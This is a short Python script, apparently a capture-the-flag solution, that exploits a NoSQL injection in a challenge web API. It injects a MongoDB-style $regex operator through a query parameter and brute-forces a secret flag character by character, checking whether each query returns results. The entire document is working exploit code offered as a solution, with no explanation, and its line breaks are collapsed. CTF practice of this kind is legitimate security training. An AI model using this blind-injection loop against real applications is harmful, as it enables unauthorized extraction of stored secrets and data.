```pyimport requests
import string
url = "http://challenges.2020.squarectf.com:9542/api/posts?flag[$regex]="
flag = "flag{n0SQLn0Vulns"
while True:    for c in '_}' + string.ascii_letters + string.digits:        if c not in ['*','+','.','?','|']:            payload = flag + c            print('Trying: ' + payload)            r = requests.get(url+ payload).json()            if len(r) > 0:                print('Found new character!')                print(flag)                flag += c                if c == '}':                    print('Flag obtained: ' + flag)                    exit(1)```